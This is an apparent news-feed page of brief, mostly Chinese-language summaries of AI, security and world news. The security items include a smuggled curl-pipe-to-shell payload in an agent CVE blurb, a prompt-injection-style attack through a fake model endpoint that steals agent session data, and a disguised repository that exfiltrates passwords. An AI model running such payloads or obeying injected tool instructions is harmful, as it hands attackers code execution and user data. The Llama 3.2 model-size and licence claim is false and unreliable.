Editorial Team
The GyaanSetu editorial team publishes practical, AI-assisted guides across AI, web development and business.
In beta, Nvidia’s Personal AI Router (PAIR) scans a home network for RTX-20 series GPUs, RTX-Pro cards, DGX Spark nodes or M4-chip Macs, then coordinates idle machines to run LLMs locally via Ollama or LM Studio, all under mutual TLS encryption.
SSRF 漏洞在 Ollama 0.33.2 中依然存在，因为张量模型下载器使用了一个独立的 HTTP 客户端，该客户端跳过了为修复 CVE-2026-5530 而添加的重定向保护机制，从而允许攻击者将拉取请求重定向到任何可访问的地址。
与Fervo增强型地热系统的购电协议将于2028年开始供电，这将为谷歌提供稳定、无碳的基础负荷，在满足人工智能训练不间断需求的同时，避免了昂贵的电池储能成本。
该初创公司托管的 API 让任何持有信用卡的用户都能调用不受限制的 GLM-5.3 版本，无需本地 GPU 或自定义代码。虽然安全团队称赞该工具能进行真实的攻击模拟，但研究人员警告称，它也可能为网络犯罪分子提供分步操作指南。
开源的 aidlc-workflows 框架为现有的 AI 编程智能体引入了包含规划、实现、验证和评审准备在内的四个阶段生命周期，使团队能够在权衡 Token 开销和模型差异的同时，追踪具体的衡量指标。
CVE-2026-22708 表明，仅检查命令第一个标记（token）的智能体可能会被隐藏在参数中的有效载荷所欺骗——例如 git branch "$(curl evil.sh|sh)"—从而使攻击者获得与自动化机器人相同的权限。
基于 Google Gemini 模型的新型实时模式（Live modes）让 iOS 和 Android 用户能够以自然语言与 Gmail、Docs 和 Keep 进行交互，支持实时转录并在不同查询之间实现无缝衔接，但目前该功能仅限英语及高级 AI 订阅用户使用。
Foundry Toolbox 将凭据处理、版本控制和策略执行整合至单一端点；同时，Tool Search 通过将提示词精简为排序后的候选列表，在 600 个工具的基准测试中将输入 Token 减少了高达 94%，并提升了工具选择的准确性。
该漏洞 (CVE-2026-85180) 影响 Ollama v0.33.2 版本，允许任何人通过提供特定的模型名称，强制服务器的张量下载器重定向到任何地址，包括云元数据端点 169.254.169.254，且无需身份验证。
Meta 的 Llama 3.2 提供 8B、30B 和 70B 三种配置，基于 2.5 万亿 token 进行训练。新架构将计算需求降低了 22%，在现代 GPU 上的推理速度提升了 1.8 倍，同时仍采用完全的 Apache 2.0 许可。
在海上航行286天后——其中包括为支持美国针对伊朗的行动而进行的快速转向——这艘1100英尺长的航母在林查班港靠岸时锈迹斑斑，凸显了持续的战斗任务如何阻碍了必要的船体维护。
11月的投票将询问居民，是否可以通过章程修正案，针对类似于拟建的占地300英亩、耗资69亿美元的设施这类规模的项目，在土地利用、电力消耗和用水量方面设定硬性限制。
这场毫无预警的洪灾还导致西藏541人失踪，使该地区的失踪人数上升至4,757人，并迫使尼泊尔军队向被淹没的水电隧道部署挖掘机。
在海上航行一年后，该航母在芭提雅的停靠暴露了设施破旧、人员心理压力大等问题，同时也为当地经济带来了300万美元的增长——这深刻地提醒人们，即便是核动力巨兽也依赖于脆弱的供应链。
Vedere Labs 将 Claude 与 Ghidra 结合使用，为不同的 WAGO PLC 重写了 shellcode，实现了端到端的代码执行，甚至导致设备变砖——这表明在人工监督下，AI 可以实现漏洞利用适配的自动化。
此次重组将把Uber的餐饮、零售和直接配送部门合并为精简的全球、区域和国家团队，同时精简距离CEO超过七层的管理层级。
天花板在课间突然坍塌，碎片散落在课桌椅上。所有六名受伤学生均已住院，但目前情况并不危急。在等待检查期间，学校已暂停授课。
Claude 5.1 的两个版本现在均支持百万级 token 的上下文窗口，且最高可输出 128k token；同时，Anthropic 大幅降低了缓存读取费用，并引入了轮次范围消息（turn-scoped messages）以遏制陈旧指令的影响。
Google 的 Chrome 部门通过人才收购的方式招揽了 Relay 的工程师，而非收购其软件。这意味着 Relay 为销售、支持和运营提供的 AI 自动化服务将立即停止，客户需要自行导出数据并重建工作流。
一项概念验证表明，一个伪造的兼容 DeepSeek 的端点通过发布未经检查的工具调用指令，窃取了编程代理的会话数据（包括目录列表和私有文件内容），揭示了免费 AI 服务面临的一种新型供应链风险。
Gemini 3.8 Flash 通过将问题分解为子问题、调用外部 API 并进行迭代，在工程、金融和法律基准测试中取得了顶尖成绩，但其 Token 使用量激增了 30%，导致典型工作负载的总成本上升了约 40%。
深入了解 Wan 3.0：多模态视频生成。生成一段 5 秒钟的 AI 视频并不难，但要让角色或相机运镜在 30 秒内保持稳定却非常困难。长视频需要...
在针对《纽约时报》一案提交的法庭之友陈述书中，美国司法部辩称，为了模型训练而复制受版权保护的文本并不构成侵权，因为数据从未离开服务器，且模型输出很少表现出实质性相似。这一立场可能会使 AI 公司免受数百亿美元的...
首席执行官Dara Khosrowshahi表示，此次裁员将简化Uber的组织架构，并加速其人工智能驱动的无人驾驶出租车项目，该项目已承诺投入超过100亿美元。此次裁员正值公司实施更严格的混合办公规则之际，将全远程办公岗位的比例限制在仅1%。
苹果在最新的法庭文件中指控，前员工 Chang Liu 窃取了一份机密电路原理图和一种专有的验证工具，并指使 OpenAI 同事 Yu-Ting Peng 删除数据。基于此，苹果已申请初步禁令，以阻止 OpenAI 的芯片开发。
Google 的 AI 概览因选举偏见和不透明性而面临审查。德国倡议组织 AlgorithmWatch 的一项新研究揭示了显著的不一致性和潜在的...
AIR 的平台可发现隐藏的“影子 AI”工具，实时拦截风险技能加载，并持续重新验证每个插件——在扫描过程中拦截了约 27% 的插件——从而帮助受监管的企业加强对自主智能体的管控。
该只读连接允许医生直接将化验结果、病历记录和药物信息提取到 AI 界面中，同时全新的公共数据插件可引入来自 PubMed、ClinicalTrials.gov 和药物数据库的实时研究数据，所有操作均在《商业伙伴协议》（Business Associate Agreement）的框架下进行。
Pics 基于 Google 自有的 Nano Banana 模型构建，用户只需输入提示词，即可直接在 Docs、Slides 和 Drive 中即时生成或编辑高保真图像，无需离开工作区即可进行实时协作微调并获取多种变体。
苹果在诉讼中称，前工程师 Chang Liu 在公司拥有的 MacBook 上下载了一份机密电路原理图，并讨论过销毁系统日志。该公司辩称，笔记本电脑上的瞬时数据可能会被覆盖，因此请求法院下令进行快速取证。
该新模型提供通用版本以及针对政府红队工作、放宽了安全限制的“Cyber”变体版本。即使在 2027 年 1 月的价格上涨后，其 Token 费率仍低于 Claude Opus 5 和 GPT-5.6 Sol。
当在多次迭代中重复使用相同的系统提示词和工具架构时，即可享受 45% 的折扣。这使得 Claude Fable 5.1 对于自主代码审查器、工单分拣机器人以及其他重复性智能体流水线而言，具有极高的吸引力。
新定价大幅削减了缓存数据费用，使内存密集型、多步骤代理更具经济效益，同时更完善的安全防护措施允许企业将数据保留在自有云端。
智能体模式取代了传统的固定速率帧采样，采用模型驱动的循环机制来决定何时以及如何检查视频。这让开发者能够以仅十分之一的 Token 预算处理长篇讲座或监控录像，同时仍能捕捉到不足一秒的瞬时事件。
这座寺庙是纳罗瓦尔仅存的几座印度教神庙之一，在不明情况下消失，促使新德里将其行为定性为“应受谴责的破坏行为”，并要求进行透明调查。
司法部在长达20页的法庭之友陈述书中指出，将 AI 训练视为“合理使用”对于确保美国公司领先于海外竞争对手至关重要，并警告称，狭隘的版权观点将阻碍研究、创新和经济流动性。
Atlas 利用空间锚定技术，仅需一张到几十张照片即可将其转化为可导航的 3D 世界，在渲染长达一分钟的 1440p 视频的同时，还能输出点云和高斯泼溅（Gaussian splats），以供下游机器人技术和内容流水线使用。
亚马逊的生成式 AI 引擎现已为 Alexa 购物功能提供支持，通过将发件人信息、隐藏元数据及发送时间与数十亿条合法信息进行交叉比对，为购物者提供对可疑电子邮件和短信的即时验证。
本轮 B 轮融资由 Delta-v Capital 领投，微软旗下的 M12 和摩根士丹利参投，资金将用于扩大销售规模、深化对多模态攻击的研究以及进军 EMEA 市场。与此同时，HiddenLayer 的年度经常性收入 (ARR) 已增长十倍，达到数千万美元规模。
The Israeli-Dutch startup has pivoted from multilingual customer-service bots to a model-agnostic AI operating system, deploying forward-deployed engineers on-site in 35+ countries. Backed by Insight Partners and a new stake from Salesforce, the $550M round will fund product development and global F
Anthropic 发现，移除大部分系统提示词规则并不会损害 Claude Code 的输出质量，这证明了现代大语言模型可以从单一指令中推断出风格和约束条件，且提示词脚手架可以被大幅度精简。
商业发展部的 IBAS 系统结合了行为分析、e-KYC 和跨机构数据，旨在识别高风险实体，从而让调查人员能够集中精力打击可能的违规者，并大幅削减了壳公司的活动。
模型上下文协议 (MCP) 为 AI 智能体引入了一个统一的接口，用于查询数据库、监控工具、代码库等。通过声明资源、工具和提示词，单个 MCP 服务器即可取代数十个定制适配器，并能立即向任何兼容 Claude 的客户端提供数据。
Qwen 3.6 对比 3.5：速度相同，但智能体表现更佳。我差点就发了一篇关于 Qwen 3.6 比 3.5 慢的文章。我的第一次测试显示速度为每秒 12 个 token，而旧版本运行速度为 34...
诈骗者仅从网络帖子中截取了受害者几秒钟的语音，利用零样本合成模型冒充新娘的家属，并诱导其转账 118 万卢比，直到骗局最终被揭穿。
由于 `/api/stores/{id}/addresses` 集合端点缺少安全表达式，任何经过身份验证的 CoopCycle 用户都可以枚举商店 ID 并获取姓名、街道地址和邮政编码，从而导致多个合作社的用户隐私遭到泄露。
wptexturize 过滤器本用于排版优化，却在无意中转义了内联 JavaScript 中的 && 运算符，将其变为 &&，导致整个脚本块失效，且控制台不会显示任何错误。
WebFPGA 利用 WebUSB API 通过 JavaScript 对 Lattice iCE40-UP5K FPGA 进行编程，在实现低于 10 ms TinyML 推理的同时，功耗仅为几十毫瓦，并确保所有数据都保留在设备本地。
该邦现在仅要求提供马拉地语流利度证明——该证明已广泛应用于各类官方文件——这使得应聘者无需再参加单独的印地语认证，有望加快招聘进程并降低行政开支。
Claude Fable 5.1 基准测试：各项指标全面对比。Anthropic 于 2026 年 9 月 1 日发布了 Claude Fable 5.1。数据表明，其在特定领域实现了巨大飞跃。头条新闻是关于 Term...
在 DigitalOcean droplets 上运行六个 LLM 长达 48 小时后的测试表明，每月仅需 0.20 美元的 mistral-tiny 能将内存占用控制在 8 GB 以内，并提供 120 毫秒的延迟；而大型模型则纷纷崩溃，这证明了廉价模型也可能是唯一可投入生产的选择。
On Sept 1, 2026 Pakistan’s PM office shared a trimmed image that put Shehbaz Sharif at the centre of the SCO leaders, omitting Modi and four others. Within minutes, Modi posted the original shot, turning a social-media post into a diplomatic showdown and highlighting AI-driven image manipulation on
Anthropic 的 Fable 5.1 将缓存读取费用降低了 75%，使智能体的整体运营成本降低高达 45%。这一举措让自主模型能够在无需人类持续监督的情况下运行数小时甚至数天，从而开辟了新的生产应用场景。
JFrog 于 8 月 28 日披露了 CVE-2026-82329，这是一个 CVSS 评分为 9.8 的漏洞，允许攻击者在无需任何凭据的情况下伪造管理员令牌。威胁情报证实，该漏洞利用程序已开始针对暴露在互联网上的本地部署实例，目前已为六个受影响的版本提供了补丁。
2026 年 7 月发布的规范从 MCP 的传输格式中剥离了所有形式的会话状态，将所有上下文移入模型的 Token 窗口，使任何服务器都能处理任何请求，但代价是增加了 Token 开销并丧失了可恢复性。
该开源套件包含版本化合约、基准测试数据和可重用的着色器模板，使应用程序无需联网即可进行推理。在提升速度和保障数据主权的同时，本地执行的便捷性也引发了关于恶意软件的新担忧。
8月26日发生的一场冰石崩塌引发了洪流，摧毁了尼泊尔的八个地区，造成1050多人死亡，并淹没了水电隧道。为此，印度已派遣一支19人的法医团队和一支专业的地下救援队。
泄露的密钥允许攻击者发起扣款、提取发票并窃取个人数据，从而带来拒付、罚款和品牌声誉受损的风险。紧急应对措施包括屏蔽 dotfiles、轮换所有密钥以及将机密信息迁移至保险库。
此升级仅适用于 OpenRouter 的零成本模型；付费模型仍需按 token 计费。“终身消费规则”意味着即使在您用完购买的额度后，每天 1,000 次请求的额度也永不过期。
由律师 Vivek Shukla 代表四名网约车司机提交的请愿书，对 2026 年 8 月 12 日发布的通知提出了质疑，该通知规定精通马拉地语是续签执照的必要条件。明天的裁决将决定平台是否必须彻底改革入职流程，并承担数百万卢比的技术成本。
SWE Prime：“通过”标签是一个糟糕的过滤器。大多数开发者认为更多的数据会让智能体变得更聪明。如果一个智能体通过了测试，你就会记录该会话并将其添加到训练集中……
该试点项目在 Google Cloud 的 Confidential Space 中运行 Gemini Flash Lite，将测试提示词和模型权重封装在一个加密盒中，并生成证明以确保模型从未见过这些问题。
新德里已派遣两架载有食品、药品和工程物资的飞机，并正向受灾严重的尼泊尔派遣国家灾难响应部队（NDRF）隧道救援队、侦察部队及便携式贝利桥，以修复被洪水冲断的交通路线。
India to Procure US Made Javelin Missiles: A Strategic Leap in Defence India is poised to significantly bolster its anti armour capabilities through the upcoming procurement of th…
印度外交部已设立专门的控制室，并正与尼泊尔相关机构协调开展全天候救援行动；与此同时，由于通讯中断和道路受损，家属们仍在等待确认消息。
Beatport 将自动拒绝主要由 AI 生成的上传内容，但如果将 AI 作为工具使用并明确标注，则仍会接受相关曲目。此举是在一项调查之后做出的，调查显示 77% 的用户更倾向于人类创作的音乐。
来自泰米尔纳德邦车队的幸存者讲述了在泥浆浪潮涌来时，他们如何爬上山丘并从巴士车窗逃生的经历；与此同时，救援队在持续搜寻失踪人员的同时，已疏散了1500多名伤员。
这项由工会 CFDT 支持、基于 12,600 小时飞行时长的贝永（Bayonne）裁决，将夜班对生物钟的干扰、宇宙辐射以及历史上客舱内的吸烟行为列为诱因，并准予 Sophie Lainault 提前退休及全额医疗费用报销。
在一篇评论文章承认将 AI 作为“论证计算器”后，《华尔街日报》停止要求在评论文章中披露 AI 工具的使用情况。此举迫使编辑平台开发人员必须增加可配置策略、基于角色的权限、AI 功能标签以及可审计的人工审核机制。
Claudeforce 试点项目于 2026 年 8 月 26 日推出，内置 37 项预置销售技能，用户只需通过 Claude 的聊天窗口即可安排会议、更新销售管线等——更广泛的预览版计划于 9 月推出。
当局通过将特伦甘纳邦的一起诈骗案与 Sharma 的行踪联系起来，协助海得拉巴警方锁定了他在阿格拉的公寓。他已于8月25日移交给德里地方法官，目前正面临美国的不可保释逮捕令，等待引渡。
这对夫妇 Mohammad Sahil 和 Sameera 据称运营着一个受 ISI 支持的间谍小组，利用大量一次性 SIM 卡向巴基斯坦的联系人走私个人身份信息和机密材料，此举引发了全市范围内的安全大搜查。
该基准测试通过运行 27 个合成案例并记录通过/失败情况，为问题覆盖范围提供快速的完整性检查；但由于忽略了耗时、计算成本、语言广度以及真实代码库验证，其得分并不能作为生产环境就绪的保证。
8月26日发生的一次5.2级冰川崩塌引发了9米高的激流冲向 Lhende Khola 河，冲毁了道路、桥梁和房屋，同时危及了尼泊尔约十分之一的水电产量，并揭示了该地区日益严峻的气候驱动型连锁灾害风险。
新版本优化了复杂脚本的段落布局，增加了精简版的草稿视图，并改进了 ODF 与 DOCX/XLSX 的转换，同时通过安全补丁和宏沙箱技术确保文档在本地环境下的安全性。
Barrett Zoph 在短暂从事企业销售工作后离开 OpenAI，现加入谷歌担任研究副总裁。他将利用其在强化学习领域的专业知识，加强 Gemini 的对齐、推理和安全性，此举旨在直接缩小与 OpenAI GPT 系列之间的差距。
在一次现场演示中，Google Labs 编辑总监 Steven Johnson 将 Michael Pollan 的《饮食规则》(Food Rules) 输入 Gemini Notebook，并获得了一份包含购物清单的完整一周食谱；而输入 Kim Scott 的《彻底坦诚》(Radical Candor) 则生成了一份分步骤的绩效评估脚本——而这一切都无需离开该应用。
一个虚假的资深工程师职位发送了一个制作精良的 GitHub 仓库；运行其启动脚本会触发 postcss.config.js 中的隐藏代码，该代码会连接到 C2 服务器，下载第二阶段有效载荷，并窃取存储在 macOS 钥匙串中的所有 Chrome 密码。
该漏洞 (CVE-2026-35603) 允许非管理员用户在 C:\ProgramData 中放置恶意配置文件，Claude Code、Cursor、Codex CLI 和 Gemini CLI 在启动时会读取该文件，从而以完全管理员权限执行恶意载荷，使攻击者能够实现静默控制。
新的 GA 流程将二进制升级与数据格式迁移分离，提供了一个可配置的观察期。在此期间，系统会持续监控健康指标，且在最终的数据转换完成之前，始终支持回滚操作。
该联盟引用了美国政府机构最近的警报，指出黑客已开始利用 AI 为西门子 S7 控制器编写漏洞利用代码，并敦促企业董事会加强监督、政府加大研究投入，以及开发负担得起的 AI 防御技术。
这位70岁的受害者被一个极其逼真的AI虚拟人格所欺骗，其生成的图像甚至出现了六根手指。在意识到这是骗局并注销所有在线账户之前，他已转账了约1500万卢比。
这条计划于2027年8月首发的快速铁路目前面临资金难题，这可能迫使政府增加借贷、达成新的PPP协议或削减其他项目的预算，与此同时，反对党正要求进行议会调查。
升级后的 AI 模式可从 300 多家航空公司和主要酒店连锁机构获取数据，支持用户通过电子邮件提醒跟踪票价变化，并可通过 Google Pay 完成结账，而实际的预订流程仍由合作伙伴负责。
一项内部调查显示，该警官在无正当理由的情况下，反复查询车辆注册信息、驾驶员历史记录及其他记录，其中仅对单个车牌就进行了3500次查询。检察官称此行为严重破坏了数据的完整性。
这款10英寸、单眼的Microduck搭载瑞芯微RK3566处理器，配备激光雷达、摄像头和关节腿，并提供四种颜色选择。预售价为399美元起，预计于2026年圣诞节前发货，其软件完全开源。
启用 Bash 的成本比 MCP Schema 更高。许多人认为使用 Shell 比使用模型上下文协议 (MCP) 工具更便宜。他们认为 Shell 是免费的，而 MCP 则非常重……
售价 249 美元的 Plaud One 将于 2026 年第四季度发售，配备 12 mm 驱动单元和主动降噪 (ANC) 功能，并通过其内置 eSIM 的充电盒实现长达 25 小时的连续录音。早期用户每月可获得 200 美元的额度及 300 分钟的免费转录时长，同时耳机可直接与 Gmail、Calendar、Notion 和 Slack 集成。
Beta 版界面将基于提示词的编辑、背景移除和图像扩展功能整合到了一个工具栏中，而全新的标记工具允许用户通过绘制箭头、笔刷和形状来引导 AI，从而无需进行复杂的提示词工程。
尼泊尔-中国冰川坍塌：巨大的人道主义危机及对印度的影响。西藏自治区发生了一场灾难性的冰川坍塌，引发了毁灭性的山洪暴发……
我们在 2026 年 8 月对美国 12 个城市的本地服务网站进行了 Lighthouse 审计，结果显示最大内容绘制（LCP）的中位数为 8.9 秒，仅有 4 个网站（3%）达到了 Google 设定的 2.5 秒“良好”阈值。所有主流平台都面临着 JavaScript 包过于臃肿的问题。
大规模语音 AI：印度商务电话揭示了什么。印度的语音 AI 正在从理论走向日常运营。DialNexa 分析了超过一百万个 AI 商务电话，以观察……
这款双门卡车配备65 kWh LFP电池，单次充电续航里程为205英里。该车计划于2026年底开始交付，年产能目标为10万辆，旨在让中等收入家庭也能负担得起电动皮卡。
对欧盟流量最高的网站进行的审计发现，三分之二的网站缺乏必要的 ARIA 标签，44% 的网站未达到对比度标准，且大型网站违反 Level A 标准的可能性是小型网站的三倍，这使得它们在 WCAG 2.2 发布之前就面临被强制执行的风险。
这款原生浏览器本周将面向 Anthropic 的 Pro、Max、Team 和 Enterprise 层级推出，让 Claude 能够在桌面应用内加载页面、点击按钮并向输入框输入内容，从而消除了复制粘贴的繁琐操作，并实现了在没有公开 API 的网站上进行自动化操作。
新版本将 `{"thinking":{"type":"disabled"}}` 负载替换为 `{"thinking":{"type":"enabled","effort":"low"}}`，导致依赖静默模式的自动化脚本失效，并为所有调用者增加了轻微的延迟开销。
OpenAI 全新的分层定价机制推出了 Sol、Terra 和 Luna 三种模型，每种模型的输入费用都大幅降低，并提供 90% 的缓存读取折扣，但同时也取消了免费层级和批处理端点折扣。
新的 RolloutSequence 对象允许您使用标签选择器定义有序阶段：首先升级控制平面，运行可配置的观察期计时器，然后在进入下一阶段之前并行升级节点，并支持暂停、强制完成和取消操作。
灾难发生前曾发生4.4级地震，但由于当时并未降雨，导致基于降雨的预警系统未能发挥作用。研究人员认为，将实时地震和水位传感器与人工智能相结合，可以在大坝溃决前提供20-30分钟的预警。
腾讯的 20 亿参数 WeMM-Embedding 支持从 64 到 2048 维的 Matryoshka 向量。测试表明，256 维向量在大幅降低存储、内存占用和索引时间的同时，仍能保持完整 2048 维模型 98.7% 的准确率。